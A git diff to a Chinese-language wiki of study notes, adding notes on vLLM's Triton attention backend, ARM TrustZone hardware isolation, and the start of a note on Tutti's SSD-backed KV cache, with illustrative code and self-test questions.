+Decode 时 query 长度常为 1，Q Block 帮不上忙。论文引入 **并行分块 softmax**：
+
+- 把沿 KV 序列方向的 tile 切成多 **segment**
+- 多个 program instance **并行**处理不同 segment，各算局部 softmax 统计量（max、sum、部分输出）
+- 再 launch **第二个 reduce kernel** 合并（Triton 无全局 barrier，不能在一个 kernel 里安全做完）
+
+适用启发式：**小 batch + 长 context** 的 decode。Prefill 本身并行度够，不必走这条路。
+
+### 5. 可调 KV tile 与 BLOCK_SIZE 解耦
+
+vLLM 里 **page block size**（一页多少 token）是内存管理参数；**softmax 计算 tile** 是性能参数——二者不必相等。解耦后可为 prefill/decode、不同 GPU 选不同 tile；也支持 Mamba+Transformer 混合模型里**非 2 幂次**的大 block 对齐。
+
+### 6. Static / Persistent Launch Grid + CUDA Graph
+
+vLLM V1 常在启动时 **录制 CUDA/HIP Graph** 以降低 launch 开销。若 attention 的 grid 随 `batch_size`、`seq_len` 变化：
+
+- Graph 录制的是**固定拓扑**；replay 时即使实际 token 变少，仍可能按录制时的「大 grid」空跑 → **假并行、真浪费**（第二波 wave 占满 SM 却在干空转）
+
+**Persistent kernel** 思路：launch **固定数量** instance（≈ SM 数量），每个 instance 从 GPU 上的 **metadata** 动态认领 Q Block / segment，干完再取下一批。Grid 恒定 → **Full CUDA Graph** 可复用。
+
+### 7. Autotune 的悖论与「启发式决策树」
+
+Triton `@triton.autotune` 能在多种 `BLOCK_M`、`BLOCK_Q`、`num_warps` 等配置里选最快，但：
+
+- 全量 tune 一次 attention 可能要 **24 小时/GPU 型号**
+- vLLM 启动时 tune 会拖慢服务就绪
+- CUDA Graph replay 时**无法再查 autotune 缓存**
+
+论文方案（两阶段）：
+
+1. **离线 microbenchmark**：在 vLLM 外对 kernel 压测 prefill/decode/mixed、不同 batch 与 context
+2. 把 tune 结果压缩成 **if-else 决策树启发式**（按 GPU 型号、phase、seq len 区间选配置），打包进 backend——运行时 **零 tune 开销**，且能覆盖未见过的长度（比精确 cache key 泛化更好）
+
+### 8. 三 kernel 分工（triton_attn backend）
+
+典型实现拆成：
+
+- **主 attention kernel**（含 Q Block / parallel softmax 逻辑）
+- **Reduce kernel**（并行 softmax 的合并）
+- 以及 metadata 准备、与 vLLM scheduler / `gpu_model_runner` 的衔接
+
+Backend 层还负责：何时选 2D vs 3D kernel、是否走 persistent path、FP8 KV 等特性开关。
+
+---
+
+## 性能旅程（论文数字）
+
+| 阶段 | 相对 SOTA | 关键改动 |
+|------|-----------|----------|
+| 基线 Triton paged attn | **19.7%** | 1 token × 1 head / instance |
+| + Q Block + GQA | 大幅提升 | 胖 `tl.dot`、KV 复用 |
+| + Parallel tiled softmax | decode 长上下文 | 3D 并行 + reduce |
+| + 解耦 tile / autotune 启发式 | 接近平台最优 | 离线 benchmark → 决策树 |
+| + Persistent grid + graph 集成 | **~105.9%** (H100) | 端到端 latency 对齐 FA3 |
+
+注：不同论文版本写 100.7% 或 105.9%，差异来自 benchmark 设定（如 Llama 3.1 8B、batch=1、input=500、变 output len）；核心是 **同一 Triton 源码跨 H100 与 MI300 都达 SOTA 量级**。
+
+---
+
+## 代码示例
+
+### 示例 1：最小 Triton 向量加（理解 program instance 与 tile）
+
+论文 §2.2 用向量加说明 Triton 编程模型——**没有 threadIdx，只有 `program_id` + `tl.arange` 构成的 tile**：
+
+```python
+import triton
+import triton.language as tl
+
+@triton.jit
+def vector_add_kernel(x_ptr, y_ptr, output_ptr, n_elements, BLOCK_SIZE: tl.constexpr):
+    # 当前 program instance 负责第 pid 块
+    pid = tl.program_id(axis=0)
+    block_start = pid * BLOCK_SIZE
+    offsets = block_start + tl.arange(0, BLOCK_SIZE)
+    mask = offsets < n_elements
+
+    x = tl.load(x_ptr + offsets, mask=mask)
+    y = tl.load(y_ptr + offsets, mask=mask)
+    tl.store(output_ptr + offsets, x + y, mask=mask)
+```
+
+Paged attention kernel 复杂得多，但同一套抽象：`program_id` 决定「我负责哪块 Q / 哪个 KV head」，`tl.load`/`tl.dot` 在 tile 上操作，边界用 `mask` 处理。
+
+### 示例 2：Q Block 形状的简化伪代码
+
+下面不是 vLLM 生产源码，而是把论文 §4.4 的 **Q Block** 思想压成可读骨架（省略 page table、mask、online softmax 细节）：
+
+```python
+import triton
+import triton.language as tl
+
+@triton.jit
+def paged_attn_qblock_skeleton(
+    Q_ptr, K_cache_ptr, V_cache_ptr, Out_ptr,
+    block_tables_ptr, context_lens_ptr,
+    stride_qm, stride_qh, stride_kp, stride_vp,
+    num_kv_heads, HEAD_SIZE: tl.constexpr,
+    BLOCK_M: tl.constexpr,   # Q Block 行数 = BLOCK_Q * (Q_heads_per_KV_head)
+    BLOCK_N: tl.constexpr,   # KV 方向 tile（可与 page size 解耦）
+    BLOCK_Q: tl.constexpr,
+):
+    # grid: (batch_size, num_kv_heads) — 每个 instance 处理一个 KV head 上的若干 Q
+    batch_id = tl.program_id(0)
+    kv_head_id = tl.program_id(1)
+
+    # 从 block table 遍历 context；对 Q Block 内 BLOCK_M 行一起算 QK^T
+    q_block_start = 0  # 实际由 metadata 映射到 token / head 范围
+    q_offs = q_block_start + tl.arange(0, BLOCK_M)
+    q_mask = q_offs < context_lens_ptr[batch_id]  # 简化
+
+    # Q: [BLOCK_M, HEAD_SIZE]  —  多 token、多 Q head 打平
+    q = tl.load(
+        Q_ptr + batch_id * stride_qm + q_offs[:, None] * stride_qh
+        + tl.arange(0, HEAD_SIZE)[None, :],
+        mask=q_mask[:, None],
+        other=0.0,
+    )
+
+    acc = tl.zeros([BLOCK_M, HEAD_SIZE], dtype=tl.float32)
+    m_i = tl.full([BLOCK_M], -float("inf"), dtype=tl.float32)
+    l_i = tl.zeros([BLOCK_M], dtype=tl.float32)
+
+    # 沿 KV 序列分 tile（内层循环遍历 paged blocks）
+    for kv_tile in range(0, context_lens_ptr[batch_id], BLOCK_N):
+        k = tl.load(...)  # 从 paged K cache 按 block_tables  gather
+        v = tl.load(...)
+
+        scores = tl.dot(q, tl.trans(k)) * (HEAD_SIZE ** -0.5)
+
+        # online softmax 更新 m_i, l_i, acc（FlashAttention 同款）
+        m_ij = tl.maximum(m_i, tl.max(scores, axis=1))
+        p = tl.exp(scores - m_ij[:, None])
+        l_ij = tl.sum(p, axis=1)
+        alpha = tl.exp(m_i - m_ij)
+        acc = acc * alpha[:, None] + tl.dot(p.to(v.dtype), v)
+        l_i = l_i * alpha + l_ij
+        m_i = m_ij
+
+    out = acc / l_i[:, None]
+    tl.store(Out_ptr + ..., out, mask=q_mask[:, None])
+```
+
+读这段时抓住三点：**(1)** `BLOCK_M` 把多个 Q 捆在一起；**(2)** `kv_head_id` 在 grid 上而不是每个 Q head 一个 instance；**(3)** 内层 `kv_tile` 循环里 fused softmax，避免物化完整 attention 矩阵。
+
+### 示例 3：离线 tune → 运行时启发式（概念）
+
+论文 Listing 7 风格：把 microbenchmark 结果变成 **决策树**，避免 graph replay 时调用 autotuner：
+
+```python
+def pick_triton_attn_config(
+    gpu_name: str,
+    phase: str,          # "prefill" | "decode"
+    batch_size: int,
+    max_context_len: int,
+) -> dict:
+    """运行时 O(1) 选 kernel 配置，替代 @triton.autotune 动态查表。"""
+    if "MI300" in gpu_name and phase == "decode":
+        if batch_size <= 4 and max_context_len > 8192:
+            return {"use_parallel_softmax": True, "BLOCK_M": 64, "BLOCK_N": 64}
+        return {"use_parallel_softmax": False, "BLOCK_M": 32, "BLOCK_N": 32}
+
+    if "H100" in gpu_name and phase == "prefill":
+        return {"BLOCK_M": 128, "BLOCK_Q": 8, "num_warps": 8}
+
+    return {"BLOCK_M": 64, "BLOCK_Q": 4, "num_warps": 4}
+```
+
+生产代码在 `vllm/v1/attention/backends/triton_attn.py` 一类模块里会更细，但逻辑一致：**把 24 小时 tune 压缩成启动时可嵌入的启发式**。
+
+---
+
+## 与 vLLM 系统栈的衔接
+
+```mermaid
+flowchart TB
+    subgraph vLLM["vLLM V1"]
+        SCH[Scheduler]
+        GMR[gpu_model_runner]
+        META[Attention metadata / block tables]
+        SCH --> GMR
+        GMR --> META
+    end
+
+    subgraph Backend["triton_attn backend"]
+        H[启发式选配置 3b]
+        K1[主 attention kernel 3a]
+        K2[Reduce kernel 3a]
+        H --> K1
+        K1 --> K2
+    end
+
+    subgraph Graph["启动时 CUDA/HIP Graph 0a"]
+        REC[伪 metadata 录制 0b]
+    end
+
+    META --> Backend
+    Backend --> Graph
+    GMR -->|"torch.compile 其他层 4"| PT[PyTorch 算子]
+```
+
+关键张力：**Graph 要静态，workload 要动态**。Persistent kernel + 固定 grid + GPU 侧 metadata 是论文在系统层给出的答案。
+
+---
+
+## 何时用 Triton Attention Backend？
+
+| 场景 | 倾向 |
+|------|------|
+| AMD ROCm 部署 | **默认**，无需 FlashAttention |
+| NVIDIA Hopper+ | 通常 FlashAttention-3 / FlashInfer；Triton 作 **fallback** |
+| NVIDIA pre-Hopper（A100）+ ALiBi / sink token | Triton 特性覆盖更好 |
+| Intel XPU、FP32 attention | FA 不支持时的回退 |
+| 需要**单源码**跨厂商 CI | Triton backend 降低 fork 维护 |
+
+---
+
+## 局限与未解问题
+
+- **双 kernel reduce**：Parallel softmax 引入第二次 launch，短序列可能得不偿失——靠启发式切换。
+- **启发式非最优**：决策树是 tune 结果的压缩，新模型结构 / 新 GPU 仍需重新跑 microbenchmark 流水线。
+- **与专用库的功能差距**：FP8、复杂 mask、最新 MLA 等，专用库往往仍先行；Triton backend 在持续追赶。
+- **编译器/backend 差异**：同一 Triton 源码在 AMD 上曾需编译器 pass 优化（消除冗余 matmul、layout 转换等），见 Triton 社区 RFC——**可移植不等于零后端工作**。
+- **Helion 等更高层 DSL**：PyTorch 团队在探索比 Triton 更抽象的 tiled Python，可能进一步降低 800 行里的样板代码。
+
+---
+
+## 与相关笔记的阅读顺序
+
+1. [[triton-2019]] — tile 编程模型与 `@triton.autotune` 从哪来  
+2. [[paged-attention-vllm]] — block table 与 KV 分页内存管理  
+3. [[flashattention-2]] — online softmax 与并行划分（CUDA 手工版）  
+4. 本文 — 如何把分页 KV + Triton + serving 集成推到 SOTA  
+5. vLLM 官方博文：[Triton Attention Backend Deep Dive](https://vllm.ai/blog/2026-03-04-vllm-triton-backend-deep-dive)
+
+---
+
+## 自测题
+
+1. 为什么 decode 阶段基线 kernel 只有 `batch × heads` 个 instance 会慢？  
+2. Q Block 如何解决 GQA 下的 KV 重复加载？  
+3. Parallel tiled softmax 为什么需要第二个 kernel？  
+4. CUDA Graph 与动态 launch grid 冲突时，persistent kernel 如何缓解？  
+5. 为何论文选择「离线 autotune + 启发式」而不是运行时 `@triton.autotune`？
+
+<details>
+<summary>参考答案</summary>
+
+1. Decode 的 query 长度常为 1，grid 维度小，SM occupancy 低，且每个 instance 的 `tl.dot` 太小。  
+2. 同一 KV head 的多个 Q head 被打进同一 Q Block，K/V 只加载一次，多个 Q 共享。  
+3. Triton 无全局 barrier，segment 并行后的 partial softmax 统计量必须在另一 kernel 里归约合并。  
+4. 固定 launch instance 数，每个 instance 从 metadata 动态领任务，graph replay 时 grid 不变、无空 wave。  
+5. 避免 vLLM 启动 tune 延迟、24h 级 CI 成本，且 graph replay 路径无法每次查 autotune cache；决策树可泛化到未见长度。
+
+</details>
+
+---
+
+## 参考资料
+
+- 论文：[arXiv:2511.11581](https://arxiv.org/abs/2511.11581)（HTML 版便于跳转附录 Listing）  
+- vLLM 内核源码：[triton_unified_attention.py](https://github.com/vllm-project/vllm/blob/main/vllm/v1/attention/ops/triton_unified_attention.py)  
+- IBM microbenchmark / tune 工具：[vllm-ibm-triton-lib](https://ibm.biz/vllm-ibm-triton-lib)  
+- 姊妹工作：*GPU Performance Portability needs Autotuning*（同作者组，解释启发式 tune 方法论）  
+- PyTorch AMD 部署博文：[Enabling vLLM V1 on AMD GPUs with Triton](https://pytorch.org/blog/enabling-vllm-v1-on-amd-gpus-with-triton/)
diff --git a/src/content/docs/papers/triton-llm.md b/src/content/docs/papers/triton-llm.md
index 5c137b279..af3fbe50e 100644
--- a/src/content/docs/papers/triton-llm.md
+++ b/src/content/docs/papers/triton-llm.md
@@ -151,7 +151,10 @@ Triton 实现约 200 行：外层循环遍历 K/V 的 tile，每次 `tl.load` 
 <!-- 由 scripts/regen-backlinks.mjs 自动生成 -->
 
 - [[flash-attention]] —— FlashAttention — 不改算法，只改数据怎么进 GPU
+- [[flashattention-2]] —— FlashAttention-2 — 更快的 Attention 与更好的并行
+- [[flashattention-3-2024]] —— FlashAttention-3 — Hopper 上的异步 Attention 与 FP8 低精度
 - [[halide]] —— Halide — 把"算什么"和"怎么算"分开写
+- [[liger-kernel-llm-training]] —— Liger Kernel — 面向 LLM 训练的高效 Triton Kernel 套件
 - [[llvm]] —— LLVM — 模块化编译器框架
 - [[mlir]] —— MLIR — 给编译器一套乐高，每层抽象都能搭自己的方言
 - [[orca-continuous-batching]] —— Orca — 让一批 LLM 请求随到随走，不再排队等最长那个
diff --git a/src/content/docs/papers/trustzone-arm-2009.md b/src/content/docs/papers/trustzone-arm-2009.md
new file mode 100644
index 000000000..095b443f4
--- /dev/null
+++ b/src/content/docs/papers/trustzone-arm-2009.md
@@ -0,0 +1,247 @@
+---
+title: ARM TrustZone Technology Overview — 一颗 CPU 上的双世界安全隔离
+来源: https://developer.arm.com/documentation/PRD29-GENC-009492/c/
+日期: 2026-06-13
+分类: 操作系统
+子分类: 嵌入式与 IoT
+难度: 中级
+provenance: pipeline-v3
+---
+
+## 是什么
+
+**ARM TrustZone Technology Overview**（白皮书 PRD29-GENC-009492C，2009）是 ARM 官方对 TrustZone 安全扩展的入门总览：它说明如何把一颗 SoC 的硬件与软件资源切成两个世界——**Secure World（安全世界）** 与 **Normal World（普通世界）**——并在总线、内存、外设、调试口各层用硬件强制隔离。
+
+日常类比：想象一栋银行大楼。一楼大厅（Normal World）对公众开放，办业务、取号、排队，人来人往；地下金库（Secure World）只有持特殊门禁卡的人能进，而且**大厅的电梯按钮根本接不到金库楼层**——不是软件拒绝，是建筑结构就不通。TrustZone 做的就是在芯片里建这套"结构隔离"：普通世界的 CPU、DMA、总线主设备带着 **NS=1（Non-Secure）** 标记，硬件解码逻辑保证它们**物理上无法访问** NS=0 的安全资源。
+
+白皮书强调：TrustZone 不是单一指令或单一 IP，而是三层组合——**处理器 Security Extensions**、**AMBA3 总线上的 NS 信号**、以及 **TZASC / TZPC / TZMA** 等配套外设 IP。目标是用可编程方式保护几乎任何资产的**机密性与完整性**，成本低于传统独立安全芯片方案。
+
+## 为什么重要
+
+不理解这份 2009 概述，后面这些现象都只是在背名词：
+
+- 为什么 Android 指纹、支付密钥、Widevine L1 DRM 都强调"在 TEE 里"——TEE 就建在 Secure World 之上
+- 为什么 root 了 Linux 仍可能拿不到私钥——私钥字节在 **SP:** 物理地址空间，Normal World 的页表永远翻译不到那里
+- 为什么世界切换必须走 **SMC（Secure Monitor Call）**——Normal World 不能直接改 SCR 的 NS 位，否则流水线里未刷新的敏感寄存器会泄露
+- 为什么手机启动链从 ROM 开始就在 Secure World——复位后 SCR.NS=0，整条 boot 链负责"逐级降权"后才把 Rich OS 放进 Normal World
+- 为什么 [[sgx-2013]]、[[ngabonziza-trustzone-2016]]、OP-TEE、TF-A 都绕不开 TrustZone 这套硬件语义——它们是在这套隔离原语上叠软件
+
+TrustZone 从 Armv6K 引入，贯穿 Armv7-A / Armv8-A，今天仍部署在数十亿颗应用处理器上，是移动与嵌入式**硬件信任根**的事实标准之一。
+
+## 核心要点
+
+### 1. 两个世界 + NS-bit：隔离的物理基础
+
+SoC 上每个总线主设备（CPU、DMA、GPU）发起读写时，AXI 的 **AWPROT[1] / ARPROT[1]** 携带 NS 位：0 = Secure，1 = Non-secure。从 Normal World 发出的访问**硬件上**不能命中 Secure 从设备；非法访问可能静默失败或返回 SLVERR/DECERR。
+
+处理器内部，当前世界由 **SCR（Secure Configuration Register）的 NS 位**决定（AArch64 下为 `SCR_EL3.NS`）。白皮书特别提醒：**只有 Monitor 软件应直接修改 NS 位**；若在非 Monitor 模式下把 NS 置 1，流水线中尚未退休的 Secure 指令和寄存器内容可能对 Normal World 可见，构成安全违规。
+
+可以把 NS 位想象成地址空间的"第 33 位"：同一物理地址 0x8000_0000 存在 **SP:0x8000_0000** 与 **NP:0x8000_0000** 两个独立位置，缓存标签也带安全属性，互不命中。
+
+### 2. 虚拟双核 + Monitor：世界切换的唯一守门人
+
+实现 Security Extensions 的 Cortex-A 核心提供两个"虚拟处理器"——Secure 与 Non-secure——通过 **Monitor Mode（Armv8-A 下为 EL3）** 时间片切换。进入 Monitor 的入口被严格限定：
+
+- Normal World：**SMC 指令**、IRQ、FIQ、外部 Data Abort、外部 Prefetch Abort（可配置）
+- Secure World：除上述外，还可直接写 CPSR 进入 Monitor
+
+Monitor 软件（典型实现为 **ARM Trusted Firmware** 中的 Secure Monitor）负责：
+
+1. 保存离开世界的通用寄存器、CP15/系统寄存器、必要时 NEON/VFP 状态
+2. 翻转 SCR.NS
+3. 恢复目标世界上下文
+4. 异常返回，继续执行
+
+状态必须保存在 **Secure 内存区域**，防止 Normal World 篡改。
+
+### 3. 内存与外设：TZASC / TZPC / TZMA
+
+| 组件 | 作用 |
+|------|------|
+| **TZASC** | 把 DRAM 等 AXI 从设备地址范围切成多个 region，按 region 配置 Secure/Non-secure 读写权限 |
+| **TZPC** | 控制 APB 外设的安全属性，配合 AXI→APB 桥拒绝错误安全级别的访问 |
+| **TZMA** | 片上 SRAM 分区，适合小容量安全 RAM |
+
+TZASC 典型用法：放在 **DMC（DRAM 控制器）** 与 SoC 主设备之间，把片外 RAM 切成安全区与普通区。需要多个 Secure region 时 TZASC 必不可少。
+
+Secure 外设（安全中断控制器、安全定时器、可锁定键盘接口）让 TEE 能做**不可被 Normal World 抢占**的监控任务——白皮书用"安全输入密码"举例。
+
+### 4. 软件栈：Boot → Monitor → TEE → TA
+
+启动顺序（白皮书第 5 章）：
+
+1. 复位后 CPU 处于 **Secure 状态**，从 `RVBAR` 指向的 ROM 开始执行
+2. Boot ROM 验证下一级镜像，**就地执行或复制到已划定的安全 RAM**——注意"先验证再复制"的 TOCTOU 窗口是设计陷阱
+3. 加载 Secure Monitor、TEE OS（如 OP-TEE）、Trusted Applications（TA）
+4. 配置 TZASC/TZPC，建立内存与外设分区
+5. 将 NS 位置 1，跳转到 Normal World 的 Bootloader → U-Boot → Linux/Android
+
+Normal World 通过 **SMC + 寄存器传参** 调用 TEE 服务；高效协议可在寄存器中携带"消息载荷"，避免每次全量上下文切换。
+
+### 5. 中断模型（一种常见配置）
+
+白皮书给出一种典型划分：**IRQ 给 Normal World，FIQ 给 Secure World**。Monitor 在每次世界切换时调整 SCR 的 IRQ/FIQ 路由位。若中断发生时 CPU 已在正确世界，硬件可直接跳向量表，**不必**先进 Monitor——降低延迟。
+
+代价：需要进 Secure World 处理的 FIQ 会触发世界切换，Monitor 成为**最坏情况中断延迟**路径的一部分。A-profile 应用处理器通常不追求 μs 级硬实时，但设计时需计入。
+
+## 代码示例
+
+### 示例 1：Normal World 通过 SMC 请求 Secure 服务（AArch64 汇编骨架）
+
+OP-TEE 等 TEE 遵循 **SMC Calling Convention（SMCCC）**：`x0`–`x7` 传参，功能号放 `w0`（bit[31]=0 表示 SMC32）。
+
+```asm
+// Normal World 内核驱动片段：调用 OP-TEE 标准入口
+// x0 = OPTEE_SMC_CALL_WITH_ARG (0x32000004)
+// x1 = 指向 optee_msg_arg 的物理地址（须在 Non-secure 可共享内存）
+
+    mov     x0, #0x32000004
+    mov     x1, arg_phys
+    smc     #0                  // 陷入 EL3 Monitor
+    // 返回后 x0 = 状态码，x1-x3 可能带返回值
+
+// C 侧封装（Linux drivers/tee/optee/smc_abi.c 同类逻辑）
+static u32 optee_smc_call(struct optee_smc_arg *arg)
+{
+    struct arm_smccc_res res;
+
+    arm_smccc_smc(OPTEE_SMC_CALL_WITH_ARG,
+                  virt_to_phys(arg), 0, 0,
+                  0, 0, 0, 0, &res);
+    return res.a0;
+}
+```
+
+**逐行理解**：
+
+- `smc #0` 触发 **SMC 异常**，CPU 从 NS.EL1 进入 **EL3 Secure Monitor**——Normal World 无法伪造这条路径
+- Monitor 检查调用者安全状态与参数地址是否在允许的 **World-shared memory** 窗口内
+- 验证通过后 Monitor 切到 Secure World，把参数交给 TEE 内核调度对应 TA
+- 返回路径再次经过 Monitor，恢复 NS 上下文；Normal World 只看到寄存器里的结果，看不到 Secure 栈
+
+### 示例 2：TZASC 区域配置（寄存器级伪代码）
+
+TZASC 把一片 DRAM 切成最多 8 个 region（具体数量因 IP 版本而异）。Region 0 通常覆盖全地址空间作为背景；Region 1–N 可覆盖更具体的范围并设置访问权限。
+
+```c
+// 伪代码：把 0x8000_0000–0x800F_FFFF 标为仅 Secure 可读写
+#define TZASC_BASE        0x2A4A0000
+#define TZASC_REGION_ATTR  (TZASC_BASE + 0x100)
+
+void tzasc_config_secure_region(void)
+{
+    // 仅 Secure World 在 boot 早期可写 TZASC
+    write32(TZASC_BASE + 0x00, 0x1);           // 使能 TZASC
+
+  // Region 1: 基址 0x8000_0000, 大小 1MB
+    write32(TZASC_BASE + 0x108, 0x80000000);   // REGION_BASE_LOW
+    write32(TZASC_BASE + 0x10C, 0x00000000);   // REGION_TOP_LOW → 0x800FFFFF
+
+  // 属性：Secure 读写允许；Non-secure 读写均拒绝
+    uint32_t attr = TZASC_ATTR_SEC_RW          // Secure read/write
+                  | TZASC_ATTR_NS_NONE;        // NS 无权限
+    write32(TZASC_REGION_ATTR + 1 * 4, attr);
+
+    // 之后 Normal World 对 0x8000_0000 的访问在总线层被拒绝
+}
+```
+
+**设计要点**：
+
+- TZASC 寄存器本身必须位于 **Secure 外设空间**，否则 Normal World 可改写分区表
+- 与 MMU 页表协同：即使页表允许映射，总线层 TZASC 仍可能拒绝——**两道门禁**
+- 多核系统中所有主设备共享同一 TZASC 视图；DMA 引擎若标记为 Non-secure，同样无法读写 Secure region
+
+## 实践案例
+
+### 案例 1：Gadget2008 参考设计（白皮书第 6 章）
+
+白皮书用虚构的 **Gadget2008** 产品说明端到端设计：安全启动、DRM、移动支付、企业 VPN。设计清单（第 7 章）要求工程师逐项核对：
+
+- 所有 Non-secure 主设备硬件固定 NS=1
+- 关键密钥材料只放在 TZASC 保护的 Secure DRAM
+- Monitor 代码体积尽量小、关中断、不可重入
+- 调试接口（JTAG）默认锁定或仅 Secure 可解锁
+
+### 案例 2：与 [[sgx-2013]] 的对比
+
+| 维度 | TrustZone（本白皮书） | Intel SGX |
+|------|----------------------|-----------|
+| 隔离单元 | 整颗 SoC 分世界 | Enclave 页级 |
+| 信任根 | Secure ROM + Monitor + TEE | CPU 微码 + MEE |
+| 典型 OS | Rich OS 跑在 Normal World | OS 仍可管理 enclave 外资源 |
+| 攻击面 | Monitor/TEE 实现质量 | Enclave 接口 + 侧信道 |
+
+二者解决"在不可信 OS 旁跑可信代码"的同族问题，但 TrustZone 是**系统级分区**，SGX 是**应用级飞地**。
+
+## 踩过的坑
+
+1. **内存别名一致性**：同一数据同时以 Secure 与 Non-secure 别名存在于缓存中，若两边都可写会导致静默不一致。设计共享缓冲区时必须明确**单一写入方**或使用硬件一致的原子窗口。
+
+2. **TOCTOU 启动漏洞**："验证镜像 → 再复制到安全 RAM"之间若攻击者可写源缓冲区，验签通过仍能植入恶意代码。应 **verify-in-place** 或复制与验证原子化。
+
+3. **Monitor 过于臃肿**：Monitor 是 TCB（可信计算基）核心，功能越多审计面越大。浮点/SIMD 若 Secure World 不用，启动时把协处理器全交给 Normal World，可省掉大量上下文切换。
+
+4. **中断延迟被低估**：每个需切世界的 FIQ/IRQ 都叠加 Monitor 保存/恢复开销；硬实时任务不宜依赖 Secure World 频繁抢占。
+
+5. **调试口是后门**：Non-secure 调试器若能读 Secure 内存，隔离形同虚设。生产设备必须烧 **eFuse** 锁调试或限 Secure 调试。
+
+6. **只信软件不设 TZASC**：仅靠 MMU 属性位不够——恶意或 compromised 的 DMA 可绕过 CPU MMU。**总线级 TZASC** 是最后一道硬墙。
+
+## 适用 vs 不适用场景
+
+**适用**：
+
+- 智能手机、机顶盒、IoT 网关需要 TEE（密钥、DRM、生物识别）
+- 成本敏感但仍需硬件隔离，不愿加独立安全元件
+- 需要 Normal World 跑完整 Linux/Android，同时把少量关键服务放进 Secure World
+- 安全启动链、Measured Boot、远程证明（配合 TA）
+
+**不适用**：
+
+- 需要物理级隔离防侧信道（Secure World 与 Normal World 共享 L1/L2 缓存，仍受 [[spectre-attack-2018]] 类攻击影响）
+- 超高保障场景要求独立安全芯片（SIM/eSE）——TrustZone 是集成方案，攻击面大于分立 SE
+- Cortex-M 极小资源设备应看 **TrustZone for Armv8-M**（SAU/IDAU 模型不同，本白皮书聚焦 A-profile）
+- 纯软件沙箱即可满足威胁模型时，不必引入 TEE 复杂度
+
+## 架构一图流
+
+```text
+┌─────────────────────────────────────────────────────────────┐
+│                     Normal World (NS=1)                      │
+│   Android / Linux  │  Apps  │  Drivers  │  (可选 Hypervisor) │
+└───────────────────────────┬─────────────────────────────────┘
+                            │ SMC / IRQ / Abort
+                            ▼
+┌─────────────────────────────────────────────────────────────┐
+│              EL3 Secure Monitor (始终 Secure)                  │
+│         保存/恢复上下文 · 路由 SMC · 配置 SCR.NS             │
+└───────────────────────────┬─────────────────────────────────┘
+                            │
+                            ▼
+┌─────────────────────────────────────────────────────────────┐
+│                     Secure World (NS=0)                      │
+│        TEE OS (OP-TEE)  │  Keymaster TA  │  Widevine TA     │
+└───────────────────────────┬─────────────────────────────────┘
+                            │ 仅 NS=0 或受控共享窗口
+                            ▼
+┌─────────────────────────────────────────────────────────────┐
+│   TZASC 分区 DRAM  │  Secure 外设  │  TZPC 锁定 APB 设备    │
+└─────────────────────────────────────────────────────────────┘
+```
+
+## 延伸阅读
+
+- 官方白皮书：[Building a Secure System using TrustZone Technology](https://developer.arm.com/documentation/PRD29-GENC-009492/c/)
+- Arm Learn the Architecture：[TrustZone for Armv8-A](https://developer.arm.com/-/media/Arm%20Developer%20Community/PDF/Learn%20the%20Architecture/TrustZone%20for%20Armv8-A.pdf)（寄存器与 EL3 语义更完整）
+- 开源参考实现：[Trusted Firmware-A (TF-A)](https://github.com/ARM-software/arm-trusted-firmware)
+- 本库相关笔记：[[ngabonziza-trustzone-2016]]、[[sgx-2013]]、[[sel4-formal-2009]]
+
+## 自测题
+
+1. 为什么 Normal World 不能直接写 `SCR_EL3.NS` 切换到 Secure World？
+2. `NP:0x4000_0000` 与 `SP:0x4000_0000` 在缓存里会命中同一行吗？
+3. 若省略 TZASC，仅依赖 MMU 的 Secure 属性位，DMA 攻击路径是什么？
+4. SMC 与普通系统调用（SVC）在安全语义上本质区别是什么？
+
+**参考答案要点**：(1) 架构限制 + 防流水线泄露；(2) 不会，物理标签含安全状态；(3) Non-secure DMA 主设备可直接读写 DRAM；(4) SMC 进入 EL3/Monitor 并可能触发世界切换，SVC 仅在当前世界内陷到内核。
diff --git a/src/content/docs/papers/turing-1936.md b/src/content/docs/papers/turing-1936.md
index d2ba9d011..c2447a6e0 100644
--- a/src/content/docs/papers/turing-1936.md
+++ b/src/content/docs/papers/turing-1936.md
@@ -2,7 +2,7 @@
 title: Turing 1936 可计算性
 来源: 'Alan Turing, "On Computable Numbers, with an Application to the Entscheidungsproblem", Proc. London Math. Soc. 1936'
 日期: 2026-05-29
-子分类: 计算理论
+子分类: 类型与 PL 理论
 分类: 编程语言
 难度: 中级
 provenance: pipeline-v3
diff --git a/src/content/docs/papers/tutti-ssd-kv-cache.md b/src/content/docs/papers/tutti-ssd-kv-cache.md
new file mode 100644
index 000000000..03865d785
--- /dev/null
+++ b/src/content/docs/papers/tutti-ssd-kv-cache.md
@@ -0,0 +1,282 @@
+---
+title: Tutti — 让 SSD 上的 KV Cache 真正可用于长上下文 LLM 推理
+来源: 'Qiu et al., "Tutti: Making SSD-Backed KV Cache Practical for Long-Context LLM Serving", arXiv:2605.03375, 2026'
+日期: 2026-06-13
+子分类: 模型与训练
+分类: 机器学习
+provenance: pipeline-v3
+---
+
+## 从日常类比开始：图书馆借书，谁去跑柜台？
+
+想象你在写一份超长报告，需要反复引用**同一套背景资料**（prefix caching 里的 KV cache）。资料太厚，放不进书桌（GPU HBM），也塞不进旁边的文件柜（CPU DRAM），只能存进**地下仓库的 NVMe 书架**（SSD）。
+
+每次新开一个对话、发现「这段背景以前算过」，理想流程是：**把仓库里的笔记直接搬到 GPU 上**，跳过重复 prefill，省钱又省时间。
+
+现实却像老式图书馆：
+
+- vLLM 的 **PagedAttention** 把 KV 切成很多小「卡片」（每块 16–32 token），在 GPU 显存里**物理上不连续**。
+- 从 SSD 恢复 128K token 的 prefix，可能要发起 **数万次** 小块随机读——像让管理员（CPU）一张一张办借书手续。
+- 即使用 **GPU Direct Storage (GDS)**，每条 I/O 仍要 CPU 发起；CPU 并行度低，成为瓶颈。
+- 结果是：GPU 空转等待数据（**GPU bubble** 占推理延迟 70%–80%），**从 SSD 读 KV 甚至比重新算一遍还慢**。
+
+**Tutti**（论文来自厦大、上海交大、港科大等，已集成 vLLM）换了一个思路：**让 GPU 自己跑仓库**，CPU 只在每层异步加载一次 I/O kernel，把关键路径上的 CPU 干预从 \(O(\text{layer} \times \text{blocks})\) 降到 \(O(\text{layer})\)。论文报告：相对 GDS 版 LMCache，TTFT 降 **78.3%**，请求吞吐约 **2×**，服务成本降 **27%**，性能接近 DRAM 版 LMCache，但容量接近「无限」。
+
+---
+
+## 是什么
+
